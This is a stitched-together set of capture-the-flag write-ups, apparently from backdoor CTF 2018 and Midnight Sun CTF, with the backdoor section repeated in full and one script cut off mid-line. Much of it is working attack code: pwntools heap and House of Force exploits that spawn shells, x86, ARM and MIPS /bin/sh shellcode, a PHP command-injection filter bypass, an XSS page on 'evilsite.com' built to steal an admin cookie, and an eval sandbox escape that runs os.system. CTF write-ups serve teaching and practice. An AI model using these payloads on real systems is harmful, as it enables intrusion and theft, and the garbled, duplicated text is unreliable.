- [backdoor CTF 2018](#backdoor-ctf-2018) - [Pwn](#pwn) - [shelter (sces60107)](#shelter-sces60107) - [rev](#rev) - [re-curse (sces60107)](#re-curse-sces60107) - [mind-fcuk (sces60107)](#mind-fcuk-sces60107) - [forensic](#forensic) - [random-noise (qazwsxedcrfvtg14 sces60107)](#random-noise-qazwsxedcrfvtg14-sces60107) - [vm-service 1 & 2 (sces60107 qazwsxedcrfvtg14)](#vm-service-1--2-sces60107-qazwsxedcrfvtg14) - [misc](#misc) - [cats-everywhere (sces60107)](#cats-everywhere-sces60107) - [crypto](#crypto) - [web](#web) - [BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin)](#bf-captcha-revenge-solved-by-qazwsxedcrfvtg14-written-by-bookgin) - [Get-hired (solved by sasdf, written by bookgin)](#get-hired-solved-by-sasdf-written-by-bookgin) - [Get-hired 2 (unsolved, written by bookgin)](#get-hired-2-unsolved-written-by-bookgin)
## Pwn
### shelter (sces60107)```pythonfrom pwn import *
r=remote("51.15.73.163",8088)#r=process("./challenge")#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *0x0804A65D\nc\n')
# We want to overwrite the function on the heap# We can overwrite prev-size so that we can forge a chunk that will overlap with other chunk
r.recvuntil("choice > ")r.sendline("3")r.recvuntil("at ")help=int(r.recvline(),16)print hex(help)
system=help-0xc1a+0xa30r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send("a"*0xc8+p64(0x90)+p64(0x111))r.recvuntil("at ")heap0=int(r.recvline()[:-2],16)print hex(heap0)
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send("a"*0xc8+p64(0x90)+p64(0x121)+p64(heap0+0x300)+p64(heap0+0x300))r.recvuntil("at ")heap1=int(r.recvline()[:-2],16)print hex(heap1)
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send(p64(heap1+0xd0)*10)r.recvuntil("at ")heap2=int(r.recvline()[:-2],16)print hex(heap2)
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send(p64(heap1+0xd0)*10)r.recvuntil("at ")heap3=int(r.recvline()[:-2],16)print hex(heap3)
r.recvuntil("choice > ")r.sendline("2")r.recvuntil("note >")r.sendline("2")
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send("a"*0xe8+p64(0x120)+"\x00")r.recvuntil("at ")heap2=int(r.recvline()[:-2],16)print hex(heap2)
r.recvuntil("choice > ")r.sendline("2")r.recvuntil("note >")r.sendline("3")
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send(p64(system)*10)r.recvuntil("at ")heap2=int(r.recvline()[:-2],16)print hex(heap2)
r.recvuntil("choice > ")r.sendline("2")r.recvuntil("note >")r.sendline("2")r.interactive()
```
## rev
### re-curse (sces60107)
In this challenge, you will get a binary file.
After some investigation, you find out that it's a Haskell binary.
This binary will take your input string and do some encoding, then it will compare your encoded string with the encoded flag.
Here is an example
You can find out that `CTF` will become `dE4`.
If encode both string in hex, you will find out the secret.
```shell=Hex("CTF") = "435446";Hex("dE4") = "644534";```
This binary reverse the hex string.
After knowing that encode algorithm, we just need find out the encoded flag.
Finally, the flag is `CTF{R3_CURS3_I5_LIFT3D_0FF_Y0U}`
### mind-fcuk (sces60107)
You will get a binary from this challenge.
First we can just execute it, and see what will happen.
It has four keys.
This binary will divide your input into four parts, and each part will be compared with those keys repectively after doing some encoding.
The first part is ROT13.The second one is XOR.For the third one and four one, I just mantain a mapping table instead of reversing the algorithm.
At the end I can produce the flag.
The flag is `CTF{f5g4s8g4dyjj4f48f5d}`
## forensic
### random-noise (qazwsxedcrfvtg14 sces60107)
There are two phase in this challenge.
At the begining, you can use `zsteg` to find out the first clue `key for vigenere cipher: THISKEYCANTBEGUESSED (not the flag)`
And you also get another png file.After some investigation, you find out that some color exactly occur 4159 times in the second png file, the other colors only occur once.
Leverage that feature, you can modify the png file.
Now you get a sequence of morse code.Just decode it, you will get `YSIYSWFGYLHVNAMXKSZHWUMG`.This is the second clue.
According to these clues, you can figure out the flag now.
### vm-service 1 & 2 (sces60107 qazwsxedcrfvtg14)
This challenge give you an ova file, and tell you that the password of his account is the first flag.
It's very easy to get the root privilege.After that, you can get the password with /etc/shadow.
But actually, we didn't get the password in that way.We noticed that there is a keylogger in this virtual machine.And we also found the log.
After reversing the keylogger binary, you can figure the encoding of the log.Now you can dig the second flag and the password out of these logs.
## misc
### cats-everywhere (sces60107)
This challenge is easiest one.
you will be given a git repo.
In these kind of challenges, the first thing you need to do is check out the history of this repo.
Here are some useful command
```shellgit log
git cat-file -p <object-id>```
Soon you can find out the flag pictures.
## crypto
## web
### BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin)
The challenge is a website which shows some brainfuck code and an audio captcha, and I don't bother to solve it at all.
First, the descrition of the challenge gives us the hint about the `.git`. We use [GitTools](https://github.com/internetwache/GitTools) to crwal the repository.
>rnehra01 loves to version control and has made these captchas as good as hell.
In the source code:```phpfunction is_clean($input){ ...
if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection bad_hacking_penalty(); return false; }
...
}
if (is_clean($user_ans)) { assert("'$real_ans' === '$user_ans'") ...}```
There is a obvious command injection, and it can be bypassed easily.
The payload:````'OR ("sys"."tem")("ls -al") OR'` `'OR ("sys"."tem")("cat rand*") OR'````
Acctually I'm trying to create a reverse shell, but `system` seems to be more efficient and effective to retrieve the flag.
Of course, I guess some team will solve all the reCAPTCHA to get the flag, and [P4](https://github.com/p4-team/ctf/tree/master/2018-03-18-backdoor-ctf/web_captcha) proves that.
### Get-hired (solved by sasdf, written by bookgin)
In `call.js`, this is vulenrable to XSS:```javascript=function p(details){ document.getElementById('call\_details').innerHTML = details.sender\_username + " is calling " + details.receiver_username + " ....";}```
It utilizes `postMessage` API to render the HTML content.```javascript$("#audiocall").click(function(){ var call_window; call_window = window.open("call.php"); setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "admin", sender\_team\_name: "InfosecIITR", receiver\_username: escapeHTML($("#r\_call").val()), receiver\_team\_name: escapeHTML($("#rteam_call").val()) } }, "*"); }, 100); });
```
Also, sending a URL in `get hired` page allows the admin to browse a foreign site. Therefore, we just create a `evilsite.com` with the content below. The admin will post the XSS payload to iFrame, and we are able to get the cookie.
```htmlmixed<iframe id="if" src="http://localhost/call.php"></iframe> <script> var ifr = document.getElementById("if").contentWindow; var payload = ""; setTimeout(function(){ ifr.postMessage({ type: "audio", details: { sender_username: payload, sender_team_name: payload, receiver_username: payload, receiver_team_name: payload } }, "*"); }, 3000); </script>```
### Get-hired 2 (unsolved, written by bookgin)
It adds an origin verification function.
```javascriptfunction verifyorigin(originHref) { var a = document.createElement("a"); a.href = originHref; return a.hostname == window.location.hostname}
if(!verifyorigin(event.origin)){ return; ...}```
Bypass it with null origin using [data URI](https://en.wikipedia.org/wiki/Data_URI_scheme).
Reference:1. https://ctftime.org/writeup/91872. https://ctftime.org/writeup/9181 |
# backdoor CTF 2018
**It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180317-backdoorctf/) of this writeup.**
- [backdoor CTF 2018](#backdoor-ctf-2018) - [Pwn](#pwn) - [shelter (sces60107)](#shelter-sces60107) - [rev](#rev) - [re-curse (sces60107)](#re-curse-sces60107) - [mind-fcuk (sces60107)](#mind-fcuk-sces60107) - [forensic](#forensic) - [random-noise (qazwsxedcrfvtg14 sces60107)](#random-noise-qazwsxedcrfvtg14-sces60107) - [vm-service 1 & 2 (sces60107 qazwsxedcrfvtg14)](#vm-service-1--2-sces60107-qazwsxedcrfvtg14) - [misc](#misc) - [cats-everywhere (sces60107)](#cats-everywhere-sces60107) - [crypto](#crypto) - [web](#web) - [BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin)](#bf-captcha-revenge-solved-by-qazwsxedcrfvtg14-written-by-bookgin) - [Get-hired (solved by sasdf, written by bookgin)](#get-hired-solved-by-sasdf-written-by-bookgin) - [Get-hired 2 (unsolved, written by bookgin)](#get-hired-2-unsolved-written-by-bookgin)
## Pwn
### shelter (sces60107)```pythonfrom pwn import *
r=remote("51.15.73.163",8088)#r=process("./challenge")#context.terminal = ['gnome-terminal', '-x', 'sh', '-c']#gdb.attach(proc.pidof(r)[0],'b *0x0804A65D\nc\n')
# We want to overwrite the function on the heap# We can overwrite prev-size so that we can forge a chunk that will overlap with other chunk
r.recvuntil("choice > ")r.sendline("3")r.recvuntil("at ")help=int(r.recvline(),16)print hex(help)
system=help-0xc1a+0xa30r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send("a"*0xc8+p64(0x90)+p64(0x111))r.recvuntil("at ")heap0=int(r.recvline()[:-2],16)print hex(heap0)
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send("a"*0xc8+p64(0x90)+p64(0x121)+p64(heap0+0x300)+p64(heap0+0x300))r.recvuntil("at ")heap1=int(r.recvline()[:-2],16)print hex(heap1)
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send(p64(heap1+0xd0)*10)r.recvuntil("at ")heap2=int(r.recvline()[:-2],16)print hex(heap2)
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send(p64(heap1+0xd0)*10)r.recvuntil("at ")heap3=int(r.recvline()[:-2],16)print hex(heap3)
r.recvuntil("choice > ")r.sendline("2")r.recvuntil("note >")r.sendline("2")
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send("a"*0xe8+p64(0x120)+"\x00")r.recvuntil("at ")heap2=int(r.recvline()[:-2],16)print hex(heap2)
r.recvuntil("choice > ")r.sendline("2")r.recvuntil("note >")r.sendline("3")
r.recvuntil("choice > ")r.sendline("1")r.recvuntil("content >")r.send(p64(system)*10)r.recvuntil("at ")heap2=int(r.recvline()[:-2],16)print hex(heap2)
r.recvuntil("choice > ")r.sendline("2")r.recvuntil("note >")r.sendline("2")r.interactive()
```
## rev
### re-curse (sces60107)
In this challenge, you will get a binary file.
After some investigation, you find out that it's a Haskell binary.
This binary will take your input string and do some encoding, then it will compare your encoded string with the encoded flag.
Here is an example
You can find out that `CTF` will become `dE4`.
If encode both string in hex, you will find out the secret.
```shell=Hex("CTF") = "435446";Hex("dE4") = "644534";```
This binary reverse the hex string.
After knowing that encode algorithm, we just need find out the encoded flag.
Finally, the flag is `CTF{R3_CURS3_I5_LIFT3D_0FF_Y0U}`
### mind-fcuk (sces60107)
You will get a binary from this challenge.
First we can just execute it, and see what will happen.
It has four keys.
This binary will divide your input into four parts, and each part will be compared with those keys repectively after doing some encoding.
The first part is ROT13.The second one is XOR.For the third one and four one, I just mantain a mapping table instead of reversing the algorithm.
At the end I can produce the flag.
The flag is `CTF{f5g4s8g4dyjj4f48f5d}`
## forensic
### random-noise (qazwsxedcrfvtg14 sces60107)
There are two phase in this challenge.
At the begining, you can use `zsteg` to find out the first clue `key for vigenere cipher: THISKEYCANTBEGUESSED (not the flag)`
And you also get another png file.After some investigation, you find out that some color exactly occur 4159 times in the second png file, the other colors only occur once.
Leverage that feature, you can modify the png file.
Now you get a sequence of morse code.Just decode it, you will get `YSIYSWFGYLHVNAMXKSZHWUMG`.This is the second clue.
According to these clues, you can figure out the flag now.
### vm-service 1 & 2 (sces60107 qazwsxedcrfvtg14)
This challenge give you an ova file, and tell you that the password of his account is the first flag.
It's very easy to get the root privilege.After that, you can get the password with /etc/shadow.
But actually, we didn't get the password in that way.We noticed that there is a keylogger in this virtual machine.And we also found the log.
After reversing the keylogger binary, you can figure the encoding of the log.Now you can dig the second flag and the password out of these logs.
## misc
### cats-everywhere (sces60107)
This challenge is easiest one.
you will be given a git repo.
In these kind of challenges, the first thing you need to do is check out the history of this repo.
Here are some useful command
```shellgit log
git cat-file -p <object-id>```
Soon you can find out the flag pictures.
## crypto
## web
### BF-CAPTCHA-REVENGE (solved by qazwsxedcrfvtg14, written by bookgin)
The challenge is a website which shows some brainfuck code and an audio captcha, and I don't bother to solve it at all.
First, the descrition of the challenge gives us the hint about the `.git`. We use [GitTools](https://github.com/internetwache/GitTools) to crwal the repository.
>rnehra01 loves to version control and has made these captchas as good as hell.
In the source code:```phpfunction is_clean($input){ ...
if (preg_match('/(base64_|eval|system|shell_|exec|php_)/i', $input)){//no coomand injection bad_hacking_penalty(); return false; }
...
}
if (is_clean($user_ans)) { assert("'$real_ans' === '$user_ans'") ...}```
There is a obvious command injection, and it can be bypassed easily.
The payload:````'OR ("sys"."tem")("ls -al") OR'` `'OR ("sys"."tem")("cat rand*") OR'````
Acctually I'm trying to create a reverse shell, but `system` seems to be more efficient and effective to retrieve the flag.
Of course, I guess some team will solve all the reCAPTCHA to get the flag, and [P4](https://github.com/p4-team/ctf/tree/master/2018-03-18-backdoor-ctf/web_captcha) proves that.
### Get-hired (solved by sasdf, written by bookgin)
In `call.js`, this is vulenrable to XSS:```javascript=function p(details){ document.getElementById('call\_details').innerHTML = details.sender\_username + " is calling " + details.receiver_username + " ....";}```
It utilizes `postMessage` API to render the HTML content.```javascript$("#audiocall").click(function(){ var call_window; call_window = window.open("call.php"); setTimeout(function(){ call_window.postMessage({ type: "audio", details: { sender_username: "admin", sender\_team\_name: "InfosecIITR", receiver\_username: escapeHTML($("#r\_call").val()), receiver\_team\_name: escapeHTML($("#rteam_call").val()) } }, "*"); }, 100); });
```
Also, sending a URL in `get hired` page allows the admin to browse a foreign site. Therefore, we just create a `evilsite.com` with the content below. The admin will post the XSS payload to iFrame, and we are able to get the cookie.
```htmlmixed<iframe id="if" src="http://localhost/call.php"></iframe> <script> var ifr = document.getElementById("if").contentWindow; var payload = ""; setTimeout(function(){ ifr.postMessage({ type: "audio", details: { sender_username: payload, sender_team_name: payload, receiver_username: payload, receiver_team_name: payload } }, "*"); }, 3000); </script>```
### Get-hired 2 (unsolved, written by bookgin)
It adds an origin verification function.
```javascriptfunction verifyorigin(originHref) { var a = document.createElement("a"); a.href = originHref; return a.hostname == window.location.hostname}
if(!verifyorigin(event.origin)){ return; ...}```
Bypass it with null origin using [data URI](https://en.wikipedia.org/wiki/Data_URI_scheme).
Reference:1. https://ctftime.org/writeup/91872. https://ctftime.org/writeup/9181 |
# Isoar(Web, 31 solves, 150pts)
We start off with a url to the website: http://web.midnightsunctf.se:8000The webapp allows us to check our passwords strength and receive a random fact about the supplied password:
```"The given password occurs as part of 10 out of 1001 known passwords""The given password has 0 lowercase characters""The given password has the same amount of uppercase characters as 997 out of 1001 known passwords""The given password is shorter than 399 out of 1001 known passwords""The given password is longer than 155 out of 1001 known passwords""The first character of the given password occurs in 137 out of 1001 known passwords""The third character of the given password occurs in 83 out of 1001 known passwords""2 out of 1001 known passwords are suffixed with the given password""The given password has 6 characters""The given password has 6 digits""The fifth character of the given password occurs in 53 out of 1001 known passwords" ```
`http://web.midnightsunctf.se:8000/robots.txt` has an interesting entry: `Disallow: /static/public.password.list`
[public.password.list](public.password.list) contains a list of 1000 common passwords while the messages mention 100**1** passwords, perhaps the admins password is included in the analysis but not the list?
The most interesting response type is `"2 out of 1001 known passwords are suffixed with the given password"`. Using that, we can try a bunch of suffixes and by calculating our version of the output (we do have 1000 out of the 1001 passwords) we're able to tell if admins password is included in their output or not.
That is actually enough to just brute-force the password char by char, but as it turns out that is **super** slow, mainy because:
* We have to calculate a 2 byte proof of work for each request * The output message type is also randomized so we have to try a bunch of them before getting the correct one
// PS: You might think that we could bypass the poc by sending the same poc output and try to get the correct message type but it seems the message type actually depended on the poc output
What we're gonna need is a charset.
Another type of an interesting response is `"The fifth character of the given password occurs in 53 out of 1001 known passwords"` it tells us in how many passwords a certain letter from our supplied password occurs.
We can throw against it a lot of random passwords and build the admins password charset using the same technique as with the suffixes.
Putting all of this together, we get:
A boilerplate with required primitives:
``` pythonimport requestsfrom hashlib import sha256import randomimport stringimport jsonimport re
alph = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"def password_poc(password): while True: poc = ''.join([random.choice(alph) for x in range(10)]) if sha256(password+poc).hexdigest().startswith('1337'): return poc
def check_password(password): url = "http://web.midnightsunctf.se:8000/pwmeter/%s/%s" % (password, poc) r = requests.get(url) return r.content
with open('public.password.list') as f: passwords = f.read().split('\n')
def count_words(position, letter): s = filter(lambda x: letter in x, passwords) return len(s)
translate_pos = {'first':0, 'second':1, 'third':2, 'fourth':3, 'fifth':4}```
Script to scrap the charset
``` python
CHARSET = ""
while True: rand_input = ''.join([random.choice(alph) for x in range(random.randint(1, 16))]) reg = r"The (.*) character of the given password occurs in (.*) out of 1001 known passwords" response = json.loads(check_password(rand_input))["analysis"]
re_found = re.findall(reg, response) if re_found: position, number = re_found[0] number = int(number)
letter = None pos = None
if position == 'last': letter = rand_input[-1] pos = len(rand_input)-1 else: pos = translate_pos[position] letter = rand_input[pos]
my_count = count_words(pos, letter)
if my_count != number: print(letter) if letter not in CHARSET: CHARSET += letter print(CHARSET)```
Script to finally find the password
``` pythondef count_word_suffix(suffix): s = filter(lambda x:x.endswith(suffix), passwords) return len(s)
final_password = ""
while True: # found charset for letter_addon in 'lryHws3od0P4': print(letter_addon) rand_input = letter_addon + final_password found = False while True:
reg = r"(.*) out of 1001 known passwords are suffixed with the given password"
r = re.findall(reg, json.loads(check_password(rand_input))['analysis'])
if r: their_count = int(r[0]) my_count = count_word_suffix(rand_input)
if their_count != my_count: print(their_count, my_count, rand_input) final_password = letter_addon + final_password print(final_password) found=True else: print("no")
break if found: break```
Running all of this finally gave us the password:`H3rHolyP4ssw0rd`And the flag: `midnight{Someone_didnt_bother_reading_my_carefully_prepared_memo_on_commonly_used_passwords}`
|
```import sysimport zlibimport hashlibimport os
path = '.git/'f = [os.path.join(dp, f) for dp, dn, fn in os.walk(os.path.expanduser(".git/")) for f in fn]for OBJ in f: try: cdata = file(OBJ).read() data = zlib.decompress(cdata) if ('midnight' in data): print data except : pass``` |
x86:```from pwn import *
context.log_level = 'debug'context.terminal = ['tmux', 'splitw', '-h']
#p = process("./chall")p = remote('52.30.206.11', 7000)b = ELF("./chall")
"""gdb.attach(p, '''break *pwn+0x6d''')"""
p.recv(1024)p.sendline('1')
payload = "\x90"*0x1b0 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"payload += "\x90"*(0x1f8-len(payload))payload += p32(0xffffd008)p.sendline(payload)p.interactive()```
ARM:```from pwn import *
p = remote('52.30.206.11', 7001)
p.recv(1024)p.sendline('1')
shellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x78\x46\x0c\x30\xc0\x46\x01\x90\x49\x1a\x92\x1a\x0b\x27\x01\xdf\x2f\x62\x69\x6e\x2f\x73\x68"
payload = "\x00\xbf"*(0x1b0/2) + shellcodepayload += "\x00\xbf"*((0x1f8-len(payload))/2)payload += p32(0xf2d07608)p.sendline(payload)p.interactive()```
MIPS:
```from pwn import *import keystone
p = remote('52.30.206.11', 7002)p.recv(1024)p.sendline('1')
s = ''' slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12($sp) li $t6, 0x6e2f7368 sw $t6, -8($sp) sw $zero, -4($sp) la $a0, -12($sp) slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 '''
arch, mode, endian = keystone.KS_ARCH_MIPS, keystone.KS_MODE_MIPS32, keystone.KS_MODE_BIG_ENDIANks = keystone.Ks(arch, mode | endian)sc,y = ks.asm(s)sc = "".join([chr(x) for x in sc])log.info("Shellcode" + sc)
payload = p32(0)*(0x100/4) + scpayload += "P"*(0x1fc-len(payload))payload += "X"*8
p.sendline(payload)p.interactive()``` |
```from pwn import *
def int_to_base64(n): temp = hex(n)[2:].strip("L") return (("0"*(len(temp)%2))+temp).decode("hex").encode("base64")
r = remote('34.249.127.77',31337)
print r.recvuntil("it\n")
r.sendline("1")print r.recvuntil("data:\n")r.sendline("\x00".encode("base64"))hmac = r.recvline().strip()print hmacr.close()i=0
flag=0
for i in xrange(256): r = remote('34.249.127.77',31337)
print r.recvuntil("it\n")
r.sendline("1") print r.recvuntil("data:\n") r.sendline(int_to_base64(1< |
Vuln: Input not null terminated. Address leaks through stack data copied over to heap along with input. Followed by House of Force.Script:```from pwn import *
context.log_level = 'debug'context.terminal = ['tmux', 'splitw' , '-h']
#p = process('haxpresso')p = remote('52.30.206.11', 1337)b = ELF('./haxpresso')l = ELF('./libc.so')
"""gdb.attach(p, '''b *0x8048dfd
''')"""
def add_order(drink, add_name='n', name=""): p.sendline('1') p.recvuntil('drink: ') p.sendline(str(drink)) p.recvuntil("(y/n): ") p.sendline(add_name) if add_name=='y': p.recvuntil("name: ") p.send(name) return p.recvuntil("> ")
def edit_order(idx, name): p.sendline('4') p.recvuntil('edit: ') p.sendline(str(idx)) p.recvuntil('order: ') p.send(name) return p.recvuntil("> ")
def rem_order(idx): p.sendline('2') p.recvuntil('remove: ') p.sendline(str(idx)) return p.recvuntil("> ")
def checkout(idx, new, finish_yn, change_yn='n'): p.sendline('3') o = "" if not new: o = p.recvuntil('(y/n): ') p.sendline(change_yn) if change_yn=='y': p.recvuntil('id: ') p.sendline(str(idx)) else: p.recvuntil('(y/n): ') p.sendline(finish_yn) o+=p.recvuntil('> ') return o p.recvuntil('id: ') p.sendline(str(idx)) p.recvuntil('(y/n): ') p.sendline(finish_yn) o+=p.recvuntil('> ') return o
def update_firmware(size, data, note): p.sendline('0') p.recvuntil('size: ') p.sendline(str(size)) p.recvuntil('data: ') p.send(data) p.recvuntil('note: ') p.send(note) p.interactive()
add_order(1, add_name='y', name="A") #0checkout(0, True, 'n')leak = checkout(0, False, 'y').split('\n')[4].replace('Name: A', '')stackaddr = u32(leak[7:11])log.info("Stack addr: " + hex(stackaddr))libcaddr = u32("\x00" + leak[0:3])libcbase = libcaddr + (0xf7de9000-0xf7df6600)log.info("Libc addr: " + hex(libcaddr))
add_order(1, add_name='y', name="\n"*72+ "\x00") #1payload = ""payload += "\x00"*(72-len(payload))edit_order(1, payload)
add_order(1, add_name='y', name="BBBB\x00") #2add_order(1, add_name='y', name="CCCC\x00") #3
edit_order(2, "X"*28)
checkout(2, True, 'n')heapaddr = u32(checkout(2,False,'n').split('\n')[4].replace("Name: " + "X"*28, '')[0:4])log.info("Heap addr: " + hex(heapaddr))
top = heapaddr + 0x8
log.info("Stack addr: " + hex(stackaddr))log.info("Heap addr: " + hex(heapaddr))log.info("Libc addr: " + hex(libcbase))log.info("Top: " + hex(top))
edit_order(2, "X"*52 + p32(0xffffffff))
victim = b.symbols.got['strlen']-0x8offset = victim - top -0x8
got = p32(libcbase + l.symbols['system'])
update_firmware(offset, "/bin/sh\x00", got)p.interactive()``` |
# Gibson9000 - Pwn (100 + 0), 15 solves
> Can you program our new line of Gibson 9000 Calcumatron CPUs?
In this task we were given a short `README` file describing a custom computer architecture, and a `host:port`running an emulator for the arch. The description hinted at possibility of the bug in the emulator ("emulator was written by an intern").
The opcodes were as follows:- `*x` - *dptr += x- `+x` - dptr += x- `_x` - some conditional jump, didn't need it- `Xx` - print (zero-terminated?) string at dptr- `Mx` - heat -= 1- `Dx` - toggle debug
There was only limited RAM (128 bytes), so we immediately thought about the boundary conditions (what if dptrgoes over or under the range 0-127). It seems all of these were taken into account though. After an hour of sending random stuff, we managed to crash the emulator. The smallest reproducible example was`*7*6X0`, which meant (ADD 7, ADD 6, print dptr). The emulator sends the following output:```Input your calculatory opcodez: *7*6X0Result:Traceback (most recent call last): File "/home/ctf/chal.py", line 129, in <module> dostep() File "/home/ctf/chal.py", line 104, in dostep print eval('"' + s + '"') File "<string>", line 1 " ^SyntaxError: EOL while scanning string literal```
Looks like our string to be printed is evaluated? What the hell. The crash was because our string in this case was`\r`, which may count as ending the line.
The path to solution is now obvious. Escape the sandbox via sending quote char, then some `__import__('os').system('ls')` orwhatever. This simple script allowed us to easily execute arbitrary commands on server:```pythonimport sys
def build_char(c): c = ord(c) s = "" while c >= 7: s += "*7" s += "M0" * 7 c -= 7 s += "*%d" % c s += "M0" * 7 s += "+1" s += "M0" * 7 return s
total = ""for c in '''"+__import__("os").system("%s")#''' % sys.argv[1]: total += build_char(c)print total + "X0"``` |
# Category: Misc/Math
## Problem:**Description:**```95% of ppl can't solve this equation!!!
If ur smart enough, send ur solution to https://math-killer.ctf.insecurity-insa.fr/solve?a=...&b=...&c=...```
## Solution:According to the image, the equation to be solved:``` a/(b+c) + b/(a+c) + c/(a+b) = 6```By submit some input like a=1&b=2&c=3.0, I figure out that a, b, c must be integers (both positives and negatives accepted):
Let's solve the equation. I tried to set a = 0:``` b/c + c/b = 6 <=> b = (3+2*sqrt(2))*c or b = (3-2*sqrt(2))*c```=> Cannot get integer roots.
I also tried to solve the origin equation with a unknown and b, c coefficients, and got a very complex cubic equation :( => failed
Let's try to transform the equation. Let x = b+c, y = a+c, z = a+b => x, y, z are non-zero integers.``` => a = (y+z-x)/2, b = (x+z-y)/2, c = (x+y-z)/2 (=> x, y, z must be all odd or even) a/(b+c) + b/(a+c) + c/(a+b) = 6 <=> (y+z-x)/(2*x) + (x+z-y)/(2*y) + (x+y-z)/(2*z) = 6 (*)```Let z unknown and x, y coefficients, we transform (*) into quaratic equation, and get:``` Delta = (x^2+y^2-15*x*y)^2 - 4*(x+y)*(b^2*c+c^2*b)
z = (15*x*y - x^2 - y^2 + sqrt(Delta))/2/(x+y)or z = (15*x*y - x^2 - y^2 - sqrt(Delta))/2/(x+y)```Then, to find x, y such that z is integer, I used excel to get a table of z values in some x, y ranges. To learn how to get the table, watch https://www.youtube.com/watch?v=jUoo_7KQfO0.
From the table, we get some integer roots. With (x, y, z) = (6, 4, 30), we get (a, b, c) = (14, 16, -10)Submit and we get the flag:**INSA{try_positive_solutions_now}**
 |
The FindFirstFile() function in the Windows API can cause odd behaviour in PHP applications running on Windows. We leverage this to leak information about the path to a dynamically generated file.
Mirror here: https://nusgreyhats.org/write-ups/hitbgsecquals2018-upload/ |
# Babyshells - Pwn (50 + 0)p, 65 solves
> If you hold a babyshell close to your ear, you can hear a stack getting smashed
In this task we were given three binaries and three corresponding `host:port` pairs to pwn. These binarieswere in x86, ARM and MIPS architectures respectively, but they all were very simple. They had no NX, and jumped right into our supplied buffer. Googling "$ARCH + shellcode" and sending the result was enough to solvethe challenge. |
# Botpanel - Pwn (300 + 0), 17 solves
> These cyber criminals are selling shells like hot cakes off thier new site. Pwn their botpanel for us so we can stop them
In this task we were given a binary and `host:port` where it is running. Connecting there we get a bannerand password prompt. After analyzing the binary, we notice that there is a format string bug - typing `%s` would either crash or print garbage.
It turns out the expected password is stored in a local variable, so we could use `%7$s` to get the correct password echoed:
``` Panel password: %7$s Incorrect! 4 attempts left Your attempt was: >@!ADMIN!@<```Logging in, we get a simple menu, but anything we try is restricted due to running in "trial mode". Analyzing the binary, itseems the boolean holding the current mode is initialized in the login function - since there's the format bug, we couldoverwrite it using `%6$n`.
After doing this, we get "registered mode" menu. It allows to send invites to arbitrary host:port - which spawn a newthread which connects back to specified IP. The invited menu in turn allows to send feedback. The feedback optionfirst asks for length, then the feedback string. It is immediately suspicious, but there are checks for the lengthbeing in reasonable size, so no obvious buffer overflow is there. However, the read buffer length is a global variable,meaning we can send normal length in one connection, get it to pass the checks, then send large length in second connection,and finally send large buffer in the first one. This allows us to overflow the buffer, overwriting the return address andallowing the ROP.
There were a couple of other roadblocks still. First of all, there was a stack cookie. Thankfully, on Linux the stackcookie is constant for the whole process duration, so we were able to leak it during the login phase at the start,using `%15$x`. Second problem was that the ASLR was turned on, so we had to find the address the binary was loaded at.We did it in the same way, via leaking return address during login procedure: `%19$x`.
The binary was rather small, so there was not enough gadgets to easily make a reliable exploit - our solutionincrements (bytewise) `puts` function GOT entry so that it points to `system`. Because it is bytewise incrementation,the possible carry is ignored, so the result may be wrong. Still, the exploit works about half the time.The whole code is available in `doit.py`. |
# Hashcash - Pwn (150 + 0), 13 solves
> Shall we play a game? We need help beta testing our fancy new cryptocurrency themed lottery game. There may just be a bounty in it for you if you can pwn it.
In this task we were given a binary and `host:port` of the server. We actually solved the task withouth the binary, in a blackbox, probably unintended, way.
Basic communication with the server was that it was sending us one byte nonce and difficulty level, thenwe have to send input such that `md5(nonce | input)` starts with n leading zero bytes. The difficulty rises with level, from just one byte needed, all the way up to 8, thus requiring `2^64` md5 evaluations. Thisis much too much, so we had to find another way.
A quick googling on the subject showed us this website: http://0xf.kr/md5/. It keeps track of the smallestmd5 outputs ever generated, and it looks like the record has exactly 8 zeros at the start. If there wasno nonce specified, we would be able to use that preimage. But since the nonce is just one byte, we canjust wait for the server to generate one that is the first byte of our found input. Then we just send the rest,and we're done. |
# Diary - Misc (50 + 0), 120 solves
> We found a torn diary on the ground. It seems to belong to a local boy.
In this task we were given a small zipped git repository. Trying to do anything with it (`git log` etc.) failedwith errors. It seemed like we had to find the flag in raw git objects then.
The first thing we did was enough - a simple inspection of the objects:
```λ cat doit.sh zlib-flate -uncompress < $1 | strings | grep midnightλ find -exec bash doit.sh {} \;flate: inflate: data: incorrect header checkflate: inflate: data: incorrect header checkToday I found a flag, it said: midnight{if_an_object_ref_falls_and_no_one_hears} that sounds very interesting.``` |
# Tic Tac Toe (Web/misc)
A bit of a WTF challenge.You can play Tic Tac Toe against a computer player, but since he starts and plays well, you can't win.To get the flag you need to win 100 times in a row.
There was a ton of obfuscated JS, and fortunately we were too lazy to analyse it, because it turned out to be useless.The point of the task was to notice that once you perform a selected sequence of moves the game "breaks" and allows you to make a move for the computer player.
Once we noticed this we simply automated the task:
